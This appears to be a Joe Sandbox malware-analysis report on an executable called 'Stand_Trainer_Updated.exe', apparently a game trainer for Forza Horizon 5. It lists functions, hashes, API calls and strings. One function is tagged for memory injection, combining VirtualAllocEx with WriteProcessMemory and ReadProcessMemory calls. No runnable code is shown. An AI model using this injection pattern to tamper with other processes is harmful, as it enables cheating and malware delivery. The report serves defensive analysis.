Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 438d16ba449cac9bd0fcb87144f31de24ee823adcbafc3bde64b1f178db6838a
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 10118B22E0CB1301F6543164D4C63B582C06F573E4FC506B7E96E462EBAE7CAC614632

Function 00007FF7EA028314 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF7EA02637F,?,?,00000000,00007FF7EA02661A,?,?,?,?,?,00007FF7EA0265A6), ref: 00007FF7EA028333
FlsSetValue.KERNEL32(?,?,?,00007FF7EA02637F,?,?,00000000,00007FF7EA02661A,?,?,?,?,?,00007FF7EA0265A6), ref: 00007FF7EA028352
FlsSetValue.KERNEL32(?,?,?,00007FF7EA02637F,?,?,00000000,00007FF7EA02661A,?,?,?,?,?,00007FF7EA0265A6), ref: 00007FF7EA02837A
FlsSetValue.KERNEL32(?,?,?,00007FF7EA02637F,?,?,00000000,00007FF7EA02661A,?,?,?,?,?,00007FF7EA0265A6), ref: 00007FF7EA02838B
FlsSetValue.KERNEL32(?,?,?,00007FF7EA02637F,?,?,00000000,00007FF7EA02661A,?,?,?,?,?,00007FF7EA0265A6), ref: 00007FF7EA02839C

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: f5810ee2a76c2ef75e45980a18629cac2f84ac73fccf97f1cb59af300b2862ab
Instruction ID: 8dc86cddfb008621a2e00ab6e9a6ce9c1ebb8c302df413ec987b6f7577cd951c
Opcode Fuzzy Hash: f5810ee2a76c2ef75e45980a18629cac2f84ac73fccf97f1cb59af300b2862ab
Instruction Fuzzy Hash: D6113764E0834342FA68B7626A5137DA3569F453A8F9843B6E83D867D7FE3CB4054232

Function 00007FF7EA0281A8 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF7EA0281B9
FlsSetValue.KERNEL32 ref: 00007FF7EA0281D8
FlsSetValue.KERNEL32 ref: 00007FF7EA028200
FlsSetValue.KERNEL32 ref: 00007FF7EA028211
FlsSetValue.KERNEL32 ref: 00007FF7EA028222

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 320419ab2aab8cc2b65c0d929d4e63aa85ea9895c42e83fcaa073ceb7b238958
Instruction ID: a6cb0b87e8e7f03b82cfb41851fa2060b717c854b643ceeed0a6b1fe7c549d94
Opcode Fuzzy Hash: 320419ab2aab8cc2b65c0d929d4e63aa85ea9895c42e83fcaa073ceb7b238958
Instruction Fuzzy Hash: AA112728E0970701F9A9B6B15512379A3459F56378FD847B6D83E4A2D3FE3CB4498233

Function 00007FF7EA023494 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7EA0234BF
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF7EA023556
RtlUnwindEx.KERNEL32 ref: 00007FF7EA0235B0

Strings

csm, xrefs: 00007FF7EA02353D

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 35585f6fc7937097512eafd41edd286f8a1fccf88019c377510348655261b16f
Instruction ID: 9e1f158bb820c63fd1080a64d4ec8a7b11242f13f26385916d28c8d12d380896
Opcode Fuzzy Hash: 35585f6fc7937097512eafd41edd286f8a1fccf88019c377510348655261b16f
Instruction Fuzzy Hash: E451B232B197038EFB14EB15D448B38B395EB44B98F918176DA4D4378AEF7DE8418722

Function 00007FF7EA0241F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF7EA024257
_CallSETranslator.LIBVCRUNTIME ref: 00007FF7EA0242A3

Strings

MOC, xrefs: 00007FF7EA02426B
RCC, xrefs: 00007FF7EA024273

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: f164c879d24a16cd619102e784429bc4ba4cda0b982c1a824cf39fbc17923a01
Instruction ID: 87ad7d6833ac35f34b5e30785ac32e2d5b1192b3423a59e12748df1dfefa1022
Opcode Fuzzy Hash: f164c879d24a16cd619102e784429bc4ba4cda0b982c1a824cf39fbc17923a01
Instruction Fuzzy Hash: 7B618232908BC6C5EB319B15E4403AAF7A0FB84794F444266EB9D03B56EF7CD194CB21

Function 00007FF7EA0245A8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7EA0245D0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF7EA0246B8

Strings

csm, xrefs: 00007FF7EA02470A
csm, xrefs: 00007FF7EA0245F2

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 5857400b4c3492acd84904617338cd5ee528dc9639961a7cb852388250022800
Instruction ID: dc9bf47665c4eca3deeb9a02fb7edc17bed4da0abce65e6a783dde38c7c1f29d
Opcode Fuzzy Hash: 5857400b4c3492acd84904617338cd5ee528dc9639961a7cb852388250022800
Instruction Fuzzy Hash: 6851A132908383C6FB64AF119084368B790FB51BA8F944177DA6D47B96EF3DE4508B32

Function 00007FF7EA02D230 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF7EA02D2AF
WriteFile.KERNEL32 ref: 00007FF7EA02D577
WriteFile.KERNEL32 ref: 00007FF7EA02D5BD
GetLastError.KERNEL32 ref: 00007FF7EA02D673

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 0bb62f381188a36afd2a4503eaad4aac3375582898d2e62d292bd558da297374
Instruction ID: dc3d33ecf6d13802a27af6dcabaa26e955f3f2df1d5129b3bbeb3ed1da11b629
Opcode Fuzzy Hash: 0bb62f381188a36afd2a4503eaad4aac3375582898d2e62d292bd558da297374
Instruction Fuzzy Hash: CFD1F532B08B4689FB10DF65D5442ECB7B1FB45798B804176CE5D97B96EE38D806C320

Function 00007FF7EA02DB58 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00007FF7EA02DB43,00000000), ref: 00007FF7EA02DC74
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00007FF7EA02DB43,00000000), ref: 00007FF7EA02DCFF

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 975020c677df89971ff883a349c188ea2ce99affda7e7d61e491a3e14f68af64
Instruction ID: 1da72b2d6e5c748de55c70afc2d1640a924697f910d655f8ed10166784e4a26d
Opcode Fuzzy Hash: 975020c677df89971ff883a349c188ea2ce99affda7e7d61e491a3e14f68af64
Instruction Fuzzy Hash: 4B91E732E08B5385F750AF6594503BDABE0AF45B88F9441B7DE0E53A86EE38D845C732

Function 00007FF7EA02D8C8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF7EA02D9DF
GetLastError.KERNEL32 ref: 00007FF7EA02DA01

Strings

U, xrefs: 00007FF7EA02D98B

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 038869cbca5eba01ab20741052550c241c57ceeed58a67e343f361972134bdd7
Instruction ID: 4b475deef6c233d43c370b5cdbabb16699e89cd1502d67b82209b9031fde8b59
Opcode Fuzzy Hash: 038869cbca5eba01ab20741052550c241c57ceeed58a67e343f361972134bdd7
Instruction Fuzzy Hash: ED41F632B18B8286EB20EF25E4443AAA7A0FB88784F804032EE4D87745FF3CD405C761

Function 00007FF7EA0233EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7EA02111F), ref: 00007FF7EA02343C
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7EA02111F), ref: 00007FF7EA02347D

Strings

csm, xrefs: 00007FF7EA02346A

Memory Dump Source

Source File: 00000000.00000002.2474307453.00007FF7EA021000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EA020000, based on PE: true

Associated: 00000000.00000002.2474289327.00007FF7EA020000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474328982.00007FF7EA031000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474350645.00007FF7EA03B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2474367471.00007FF7EA03D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ea020000_xK44OOt7vD.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 1d6b90fde88b65395f7ddc23b7d9b97b964d3a8056fbaf4aba58218820383d9a
Instruction ID: c9d1a843d4264e94d81ddbf8e8eaaaeb91af64d5116c4ac290b6500513587fa7
Opcode Fuzzy Hash: 1d6b90fde88b65395f7ddc23b7d9b97b964d3a8056fbaf4aba58218820383d9a
Instruction Fuzzy Hash: 2C116032A08B8282EB619F15F540359B7E0FB88B94F984272EE8D07755EF3CD5558711

Analysis Process: Stand_Trainer_Updated.exePID: 7688, Parent PID: 7428COMMON

Execution Graph

Execution Coverage:	17.5%
Dynamic/Decrypted Code Coverage:	0.3%
Signature Coverage:	32.2%
Total number of Nodes:	636
Total number of Limit Nodes:	1

Executed Functions

Function 00007FF848A51A48 Relevance: 20.8, Strings: 15, Instructions: 2026
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

7>, xrefs: 00007FF848A5279A
@7>, xrefs: 00007FF848A52876
P7>, xrefs: 00007FF848A529CC
6>, xrefs: 00007FF848A52163
H7>, xrefs: 00007FF848A528CD
X7>, xrefs: 00007FF848A52A33
6>, xrefs: 00007FF848A52385
p7>, xrefs: 00007FF848A52C7B
07>, xrefs: 00007FF848A52921
07>, xrefs: 00007FF848A52845
87>, xrefs: 00007FF848A5285C
x7>, xrefs: 00007FF848A52CD2
`7>, xrefs: 00007FF848A52A92
(7>, xrefs: 00007FF848A527F1
h7>, xrefs: 00007FF848A52AE6

Memory Dump Source

Source File: 00000006.00000002.3437756339.00007FF848A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848a50000_Stand_Trainer_Updated.jbxd

Similarity

API ID:
String ID: 7>$(7>$07>$07>$87>$@7>$H7>$P7>$X7>$`7>$h7>$p7>$x7>$6>$6>
API String ID: 0-1683680722
Opcode ID: 7ca336ed1c50f67977f0ed2c77295aed2f88c2d9085aacda64071dd3ed6ccfef
Instruction ID: 1e944464d282e151dae633e07f9ca78049c7cd611f392e06547e47ed8f5b35d9
Opcode Fuzzy Hash: 7ca336ed1c50f67977f0ed2c77295aed2f88c2d9085aacda64071dd3ed6ccfef
Instruction Fuzzy Hash: B3F26D30619B458FD799EF28C045BAAB7E2FF89344F5045BDE04EC72A6CB75A881CB05

Function 00007FF8B8F72010 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 137
processstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF8B8F72039
Process32First.KERNEL32 ref: 00007FF8B8F72062
strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8B8F7207C
Process32Next.KERNEL32 ref: 00007FF8B8F7208D

Strings

ForzaHorizon5.exe, xrefs: 00007FF8B8F72070

Memory Dump Source

Source File: 00000006.00000002.3438062399.00007FF8B8F71000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B8F70000, based on PE: true

Associated: 00000006.00000002.3438034254.00007FF8B8F70000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438111984.00007FF8B8F76000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438142825.00007FF8B8F78000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3438167519.00007FF8B8F79000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8b8f70000_Stand_Trainer_Updated.jbxd

Similarity

API ID: Process32$CreateFirstNextSnapshotToolhelp32strcmp
String ID: ForzaHorizon5.exe
API String ID: 2015246625-4184888841
Opcode ID: 7359882a146a30dbad1e41fb6eb8441f01d5a7ba2dc1f03e1a21fda49bb60f06
Instruction ID: 2e963e057127ddb75dc5420ff2d9c61d9aaf72680d711ef4ff14d7e5d1be532d
Opcode Fuzzy Hash: 7359882a146a30dbad1e41fb6eb8441f01d5a7ba2dc1f03e1a21fda49bb60f06
Instruction Fuzzy Hash: 0051383AA08F8282FA508F29E8502697BA4FB89FD2F088531DB5E47364DF3CD546C754

Function 00007FF848A51525 Relevance: .4, Instructions: 429
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.3437756339.00007FF848A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848a50000_Stand_Trainer_Updated.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b6c402ee90a6c8397ae5181ce7b8bac5f5dc6390accedf613b12ac02f94eca1
Instruction ID: b42fdded270efc6cac8076be131251eda8fdbef007864368a1b1c50eff17abba
Opcode Fuzzy Hash: 0b6c402ee90a6c8397ae5181ce7b8bac5f5dc6390accedf613b12ac02f94eca1
Instruction Fuzzy Hash: A8F15B30609B458FD399EF28C455BAAB7E2FF89344F5044BEE04EC7296CB35A881CB05

Function 00007FF848A5132F Relevance: .1, Instructions: 131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.3437756339.00007FF848A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848a50000_Stand_Trainer_Updated.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d840da99b8d1497be3073283cd9cc6c32e3c76def0fa84ff9c90c0e1eac52d50
Instruction ID: 01c1332fecd8c41dc7abd6da965fb982e91ca9ec36ffc0b60b8fa3f8d94e0dd5
Opcode Fuzzy Hash: d840da99b8d1497be3073283cd9cc6c32e3c76def0fa84ff9c90c0e1eac52d50
Instruction Fuzzy Hash: 7E41C111F2DE4A4FEA98FA3854A66F9A3A2FFA8390F40157DC01FC3197DD68A8454380

Function 00007FF848A545A1 Relevance: .1, Instructions: 98
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.3437756339.00007FF848A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848a50000_Stand_Trainer_Updated.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3d1f9877f653194b53fc98fb9ed0e5d11ece114cb1c55642ba6122614a21c88
Instruction ID: d9fad7a42eaa03ced9c5e4802772d2538ad134866e42f0cc1c0b037779539294
Opcode Fuzzy Hash: d3d1f9877f653194b53fc98fb9ed0e5d11ece114cb1c55642ba6122614a21c88
Instruction Fuzzy Hash: FB219E7190CB588FDB68DF58984AAEABBE0EB65321F00416FD049C3152DA64A849CB51

Function 00007FF848A51118 Relevance: .1, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.3437756339.00007FF848A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848a50000_Stand_Trainer_Updated.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89bdb2ee61b4d804c8c50cb70c0ec6942b8b81a193b3ef731639bfbef9f5d2bd
Instruction ID: 40ae64b3e97d3bb5a828cb9cb97eaa59d02d32474f0ab8924070c3ec12df48ec
Opcode Fuzzy Hash: 89bdb2ee61b4d804c8c50cb70c0ec6942b8b81a193b3ef731639bfbef9f5d2bd
Instruction Fuzzy Hash: E7212862E2ED461FF698F938544A2B997E2FF64794F04007DC00ED3186DE68AC464315

Function 00007FF848A50795 Relevance: .1, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.3437756339.00007FF848A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848a50000_Stand_Trainer_Updated.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74ce5f0f4c612e19eb6bb8db2cef251dc5e008c04730e40243d323983e2751de
Instruction ID: 854ccfb57ab0acc274b807b5fa44ae3e8b52d4b3eb8af03cc28b66d0a249df1e
Opcode Fuzzy Hash: 74ce5f0f4c612e19eb6bb8db2cef251dc5e008c04730e40243d323983e2751de
Instruction Fuzzy Hash: 97219A62D0FAC74FF315FA38447B164BFD1EF226A0F0941FAC4998B0D3EA5868458366

Function 00007FF848A510CD Relevance: .1, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.3437756339.00007FF848A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848a50000_Stand_Trainer_Updated.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d835d4bd9be4d9c1009b4b23aa47ec434c48b3f820717ff88dce7d226b1766ff
Instruction ID: 45edf5149beda266115c6218178409303126d97f7419d663d7df353b38c749f8
Opcode Fuzzy Hash: d835d4bd9be4d9c1009b4b23aa47ec434c48b3f820717ff88dce7d226b1766ff
Instruction Fuzzy Hash: 5B110862E2E9461FF688FA38445A2B997E3FF64798F4400BDC00FD3282DD68A8864315

Function 00007FF848A507C5 Relevance: .1, Instructions: 80
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.3437756339.00007FF848A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848a50000_Stand_Trainer_Updated.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e540216b07d45aa2eb85eab530717be1319d7ab92847f076aecbad5ba4774ada
Instruction ID: 84d821c9432232f61a001a7a25ab55c386df616deebbc59e577d3e2c75edd52d
Opcode Fuzzy Hash: e540216b07d45aa2eb85eab530717be1319d7ab92847f076aecbad5ba4774ada
Instruction Fuzzy Hash: 99217962D1FA864FF355FA38487B164BFD1EF22660B0941F6C4458B0E3EA54584583A6

Function 00007FF848A54505 Relevance: .1, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.3437756339.00007FF848A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848a50000_Stand_Trainer_Updated.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86e2c8d447a3760645be656e98f2ce0784cd969823213708309596675c0e2b49
Instruction ID: f4b90019e0615f62c37fb9e45417e9fb4ef562baf6f7294e8902783863ac47a1
Opcode Fuzzy Hash: 86e2c8d447a3760645be656e98f2ce0784cd969823213708309596675c0e2b49
Instruction Fuzzy Hash: EF216D6190FBD58FD756EB3C98292A07FB1EF17644B0A01EBC489CF1A3D6585C89C362

Function 00007FF848A50875 Relevance: .0, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.3437756339.00007FF848A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848a50000_Stand_Trainer_Updated.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d927a466f7b3571142b9d6c8608128f6a0d43e211ce4561ece7f0857bb403f36
Instruction ID: 1aa840bb3c7bb65a44b5aded887cae1511892f24ac39b50a87b6b050a4fe5d17
Opcode Fuzzy Hash: d927a466f7b3571142b9d6c8608128f6a0d43e211ce4561ece7f0857bb403f36
Instruction Fuzzy Hash: 77F09001E0EA821EF36BB23828631BC7FA19F42550F0905F7D089CA5D3D94C28854366

Function 00007FF848A51239 Relevance: .0, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.3437756339.00007FF848A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848a50000_Stand_Trainer_Updated.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe4eb211c12129fdbffab525776a27d3b1527734286ffabe2ed52af056bfc8d6
Instruction ID: 2f6fd081e67839014f1d3ce2947c9d6741b2357748d7592d821d858c071b4ad8
Opcode Fuzzy Hash: fe4eb211c12129fdbffab525776a27d3b1527734286ffabe2ed52af056bfc8d6
Instruction Fuzzy Hash: 0FF0A062E1DA4A0FE798FA3844976B9A2E2EFA8780F004539D51FC3183DD6CA8854244

Non-executed Functions

Function 00007FF8B8F73180 Relevance: 26.9, APIs: 12, Strings: 3, Instructions: 663
injectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?_Xlength_error@std@@YAXPEBD@Z.MSVCP140(?,?,?,?,00007FF8B8F740AC,?,00000000,?,00007FF8B8F73235), ref: 00007FF8B8F7318B

Part of subcall function 00007FF8B8F74150: memcpy.VCRUNTIME140(?,?,?,00007FF8B8F73207), ref: 00007FF8B8F741C3

Part of subcall function 00007FF8B8F73F70: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,00007FF8B8F736D9), ref: 00007FF8B8F74070

Part of subcall function 00007FF8B8F74920: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF8B8F7103E), ref: 00007FF8B8F7493A

VirtualAllocEx.KERNEL32 ref: 00007FF8B8F7360E
WriteProcessMemory.KERNEL32 ref: 00007FF8B8F73631
VirtualFreeEx.KERNEL32 ref: 00007FF8B8F7365B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B8F73698
ReadProcessMemory.KERNEL32 ref: 00007FF8B8F7374F
memcmp.VCRUNTIME140 ref: 00007FF8B8F73766
WriteProcessMemory.KERNEL32 ref: 00007FF8B8F73A87
